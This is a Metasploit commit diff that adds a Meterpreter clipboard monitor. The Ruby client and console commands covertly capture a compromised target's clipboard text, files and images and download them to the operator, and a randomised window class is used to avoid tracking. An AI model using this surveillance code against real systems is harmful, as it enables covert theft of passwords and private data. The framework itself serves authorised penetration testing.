Land #2930 - clipboard monitor for meterpreter

bug/bundler_fix
sinn3r 2014-02-06 11:29:22 -06:00
commit 3a95a169e1
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GPG Key ID: 2384DB4EF06F730B
5 changed files with 449 additions and 119 deletions

View File

@ -19,11 +19,11 @@ class Clipboard
@client = client
end
#
# Get the target clipboard data in whichever format we can
# (if it's supported).
#
def get_data(download = false)
results = []
request = Packet.create_request('extapi_clipboard_get_data')
if download
@ -32,45 +32,12 @@ class Clipboard
response = client.send_request(request)
text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)
if text
results << {
:type => :text,
:data => text
}
end
files = []
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f|
files << {
:name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
:size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
}
}
if files.length > 0
results << {
:type => :files,
:data => files
}
end
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
if jpg
results << {
:type => :jpg,
:width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
:height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
:data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
}
end
end
return results
return parse_dump(response)
end
#
# Set the target clipboard data to a text value
#
def set_text(text)
request = Packet.create_request('extapi_clipboard_set_data')
@ -81,8 +48,120 @@ class Clipboard
return true
end
#
# Start the clipboard monitor if it hasn't been started.
#
def monitor_start(opts)
request = Packet.create_request('extapi_clipboard_monitor_start')
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls])
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img])
return client.send_request(request)
end
#
# Pause the clipboard monitor if it's running.
#
def monitor_pause
request = Packet.create_request('extapi_clipboard_monitor_pause')
return client.send_request(request)
end
#
# Dump the conents of the clipboard monitor to the local machine.
#
def monitor_dump(opts)
pull_img = opts[:include_images]
purge = opts[:purge]
purge = true if purge.nil?
request = Packet.create_request('extapi_clipboard_monitor_dump')
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge)
response = client.send_request(request)
return parse_dump(response)
end
#
# Resume the clipboard monitor if it has been paused.
#
def monitor_resume
request = Packet.create_request('extapi_clipboard_monitor_resume')
return client.send_request(request)
end
#
# Purge the contents of the clipboard capture without downloading.
#
def monitor_purge
request = Packet.create_request('extapi_clipboard_monitor_purge')
return client.send_request(request)
end
#
# Stop the clipboard monitor and dump optionally it's contents.
#
def monitor_stop(opts)
dump = opts[:dump]
pull_img = opts[:include_images]
request = Packet.create_request('extapi_clipboard_monitor_stop')
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump)
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
response = client.send_request(request)
unless dump
return response
end
return parse_dump(response)
end
attr_accessor :client
private
def parse_dump(response)
result = {}
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t|
ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
result[ts] ||= {}
# fat chance of someone adding two different bits of text to the
# clipboard at the same time
result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)
end
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f|
ts = f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
result[ts] ||= {}
result[ts]['Files'] ||= []
result[ts]['Files'] << {
:name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
:size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
}
end
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
if jpg
ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
result[ts] ||= {}
# same story with images, there's no way more than one can come
# through on the same timestamp with differences
result[ts]['Image'] = {
:width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
:height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
:data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
}
end
end
return result
end
end
end; end; end; end; end; end

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@ -30,7 +30,11 @@ TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_E
TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35)
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38)
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39)
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42)
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43)
@ -40,6 +44,11 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47)
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48)
TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50)
TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51)
TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52)
TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53)
TLV_TYPE_EXT_ADSI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55)
TLV_TYPE_EXT_ADSI_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56)
TLV_TYPE_EXT_ADSI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57)

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@ -5,7 +5,6 @@ module Rex
module Post
module Meterpreter
module Ui
###
#
# Extended API window management user interface.
@ -22,8 +21,14 @@ class Console::CommandDispatcher::Extapi::Clipboard
#
def commands
{
"clipboard_get_data" => "Read the victim's current clipboard (text, files, images)",
"clipboard_set_text" => "Write text to the victim's clipboard"
"clipboard_get_data" => "Read the target's current clipboard (text, files, images)",
"clipboard_set_text" => "Write text to the target's clipboard",
"clipboard_monitor_start" => "Start the clipboard monitor",
"clipboard_monitor_pause" => "Pause the active clipboard monitor",
"clipboard_monitor_resume" => "Resume the paused clipboard monitor",
"clipboard_monitor_dump" => "Dump all captured clipboard content",
"clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it",
"clipboard_monitor_stop" => "Stop the clipboard monitor"
}
end
@ -39,19 +44,19 @@ class Console::CommandDispatcher::Extapi::Clipboard
#
@@get_data_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ],
"-d" => [ true, "Download non-text content to the specified folder (or current folder)", nil ]
"-d" => [ true, "Download non-text content to the specified folder (default: current dir)", nil ]
)
def print_clipboard_get_data_usage
print(
"\nUsage: clipboard_get_data [-h] [-d]\n\n" +
"Attempts to read the data from the victim's clipboard. If the data is in a\n" +
"Attempts to read the data from the target's clipboard. If the data is in a\n" +
"supported format, it is read and returned to the user.\n" +
@@get_data_opts.usage + "\n")
end
#
# Get the data from the victim's clipboard
# Get the data from the target's clipboard
#
def cmd_clipboard_get_data(*args)
download_content = false
@ -67,79 +72,14 @@ class Console::CommandDispatcher::Extapi::Clipboard
end
}
loot_dir = download_path || "."
if not ::File.directory?( loot_dir )
::FileUtils.mkdir_p( loot_dir )
end
dump = client.extapi.clipboard.get_data(download_content)
# currently we only support text values
results = client.extapi.clipboard.get_data(download_content)
if results.length == 0
if dump.length == 0
print_error( "The current Clipboard data format is not supported." )
return false
end
results.each { |r|
case r[:type]
when :text
print_line
print_line( "Current Clipboard Text" )
print_line( "======================" )
print_line
print_line( r[:data] )
when :jpg
print_line
print_line( "Clipboard Image Dimensions: #{r[:width]}x#{r[:height]}" )
if download_content
file = Rex::Text.rand_text_alpha(8) + ".jpg"
path = File.join( loot_dir, file )
path = ::File.expand_path( path )
::File.open( path, 'wb' ) do |f|
f.write r[:data]
end
print_good( "Clipboard image saved to #{path}" )
else
print_line( "Re-run with -d to download image." )
end
when :files
if download_content
loot_dir = ::File.expand_path( loot_dir )
print_line
print_status( "Downloading Clipboard Files ..." )
r[:data].each { |f|
download_file( loot_dir, f[:name] )
}
print_good( "Downloaded #{r[:data].length} file(s)." )
print_line
else
table = Rex::Ui::Text::Table.new(
'Header' => 'Current Clipboard Files',
'Indent' => 0,
'SortIndex' => 0,
'Columns' => [
'File Path', 'Size (bytes)'
]
)
total = 0
r[:data].each { |f|
table << [f[:name], f[:size]]
total += f[:size]
}
print_line
print_line(table.to_s)
print_line( "#{r[:data].length} file(s) totalling #{total} bytes" )
end
end
print_line
}
parse_dump(dump, download_content, download_content, download_path)
return true
end
@ -150,7 +90,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
"-h" => [ false, "Help banner" ]
)
def clipboard_set_text_usage
def print_clipboard_set_text_usage
print(
"\nUsage: clipboard_set_text [-h] <text>\n\n" +
"Set the target's clipboard to the given text value.\n\n")
@ -165,7 +105,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
@@set_text_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
clipboard_set_text_usage
print_clipboard_set_text_usage
return true
end
}
@ -173,7 +113,262 @@ class Console::CommandDispatcher::Extapi::Clipboard
return client.extapi.clipboard.set_text(args.join(" "))
end
protected
#
# Options for the clipboard_monitor_start command.
#
@@monitor_start_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ],
"-i" => [ true, "Capture image content when monitoring (default: true)" ]
)
#
# Help for the clipboard_monitor_start command.
#
def print_clipboard_monitor_start_usage
print(
"\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" +
"Starts a background clipboard monitoring thread. The thread watches\n" +
"the clipboard on the target, under the context of the current desktop, and when\n" +
"changes are detected the contents of the clipboard are captured. Contents can be\n" +
"dumped periodically. Image content can be captured as well (and will be by default)\n" +
"however this can consume quite a bit of memory.\n\n" +
@@monitor_start_opts.usage + "\n")
end
#
# Start the clipboard monitor.
#
def cmd_clipboard_monitor_start(*args)
capture_images = true
@@monitor_start_opts.parse(args) { |opt, idx, val|
case opt
when "-i"
# default this to true
capture_images = val.downcase != 'false'
when "-h"
print_clipboard_monitor_start_usage
return true
end
}
client.extapi.clipboard.monitor_start({
# random class and window name so that it isn't easy
# to track via a script
:wincls => Rex::Text.rand_text_alpha(8),
:cap_img => capture_images
})
print_good("Clipboard monitor started")
end
#
# Options for the clipboard_monitor_purge command.
#
@@monitor_purge_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ]
)
#
# Help for the clipboard_monitor_purge command.
#
def print_clipboard_monitor_purge_usage
print("\nUsage: clipboard_monitor_purge [-h]\n\n" +
"Purge the captured contents from the monitor. This does not stop\n" +
"the monitor from running, it just removes captured content.\n\n" +
@@monitor_purge_opts.usage + "\n")
end
#
# Purge the clipboard monitor captured contents
#
def cmd_clipboard_monitor_purge(*args)
@@monitor_purge_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_clipboard_monitor_purge_usage
return true
end
}
client.extapi.clipboard.monitor_purge
print_good("Captured clipboard contents purged successfully")
end
#
# Options for the clipboard_monitor_pause command.
#
@@monitor_pause_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ]
)
#
# Help for the clipboard_monitor_pause command.
#
def print_clipboard_monitor_pause_usage
print("\nUsage: clipboard_monitor_pause [-h]\n\n" +
"Pause the currently running clipboard monitor thread.\n\n" +
@@monitor_pause_opts.usage + "\n")
end
#
# Pause the clipboard monitor captured contents
#
def cmd_clipboard_monitor_pause(*args)
@@monitor_pause_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_clipboard_monitor_pause_usage
return true
end
}
client.extapi.clipboard.monitor_pause
print_good("Clipboard monitor paused successfully")
end
#
# Options for the clipboard_monitor_resumse command.
#
@@monitor_resume_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ]
)
#
# Help for the clipboard_monitor_resume command.
#
def print_clipboard_monitor_resume_usage
print("\nUsage: clipboard_monitor_resume [-h]\n\n" +
"Resume the currently paused clipboard monitor thread.\n\n" +
@@monitor_resume_opts.usage + "\n")
end
#
# resume the clipboard monitor captured contents
#
def cmd_clipboard_monitor_resume(*args)
@@monitor_resume_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_clipboard_monitor_resume_usage
return true
end
}
client.extapi.clipboard.monitor_resume
print_good("Clipboard monitor resumed successfully")
end
#
# Options for the clipboard_monitor_dump command.
#
@@monitor_dump_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ],
"-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ],
"-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ],
"-p" => [ true, "Purge the contents of the monitor once dumped (default: true)" ],
"-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ]
)
#
# Help for the clipboard_monitor_dump command.
#
def print_clipboard_monitor_dump_usage
print(
"\nUsage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]\n\n" +
"Dump the capture clipboard contents to the local machine..\n\n" +
@@monitor_dump_opts.usage + "\n")
end
#
# Dump the clipboard monitor contents to the local machine.
#
def cmd_clipboard_monitor_dump(*args)
purge = true
download_images = true
download_files = true
download_path = nil
@@monitor_dump_opts.parse(args) { |opt, idx, val|
case opt
when "-d"
download_path = val
when "-i"
download_images = val.downcase != 'false'
when "-f"
download_files = val.downcase != 'false'
when "-p"
purge = val.downcase != 'false'
when "-h"
print_clipboard_monitor_dump_usage
return true
end
}
dump = client.extapi.clipboard.monitor_dump({
:include_images => download_images,
:purge => purge
})
parse_dump(dump, download_images, download_files, download_path)
print_good("Clipboard monitor dumped")
end
#
# Options for the clipboard_monitor_stop command.
#
@@monitor_stop_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ],
"-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ],
"-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ],
"-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ],
"-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ]
)
#
# Help for the clipboard_monitor_stop command.
#
def print_clipboard_monitor_stop_usage
print(
"\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" +
"Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" +
@@monitor_stop_opts.usage + "\n")
end
#
# Stop the clipboard monitor.
#
def cmd_clipboard_monitor_stop(*args)
dump_data = true
download_images = true
download_files = true
download_path = nil
@@monitor_stop_opts.parse(args) { |opt, idx, val|
case opt
when "-d"
download_path = val
when "-x"
dump_data = val.downcase != 'false'
when "-i"
download_images = val.downcase != 'false'
when "-f"
download_files = val.downcase != 'false'
when "-h"
print_clipboard_monitor_stop_usage
return true
end
}
dump = client.extapi.clipboard.monitor_stop({
:dump => dump_data,
:include_images => download_images
})
parse_dump(dump, download_images, download_files, download_path) if dump_data
print_good("Clipboard monitor stopped")
end
private
def download_file( dest_folder, source )
stat = client.fs.file.stat( source )
@ -193,6 +388,53 @@ protected
end
end
def parse_dump(dump, get_images, get_files, download_path)
loot_dir = download_path || "."
if (get_images || get_files) && !::File.directory?( loot_dir )
::FileUtils.mkdir_p( loot_dir )
end
dump.each do |ts, elements|
elements.each do |type, v|
title = "#{type} captured at #{ts}"
under = "=" * title.length
print_line(title)
print_line(under)
case type
when 'Text'
print_line(v)
when 'Files'
total = 0
v.each do |f|
print_line("Remote Path : #{f[:name]}")
print_line("File size : #{f[:size]} bytes")
if get_files
download_file( loot_dir, f[:name] )
end
print_line
total += f[:size]
end
when 'Image'
print_line("Dimensions : #{v[:width]} x #{v[:height]}")
if get_images and !v[:data].nil?
file = "#{ts.gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg"
path = File.join(loot_dir, file)
path = ::File.expand_path(path)
::File.open(path, 'wb') do |x|
x.write v[:data]
end
print_line("Downloaded : #{path}")
end
end
print_line(under)
print_line
end
end
end
end
end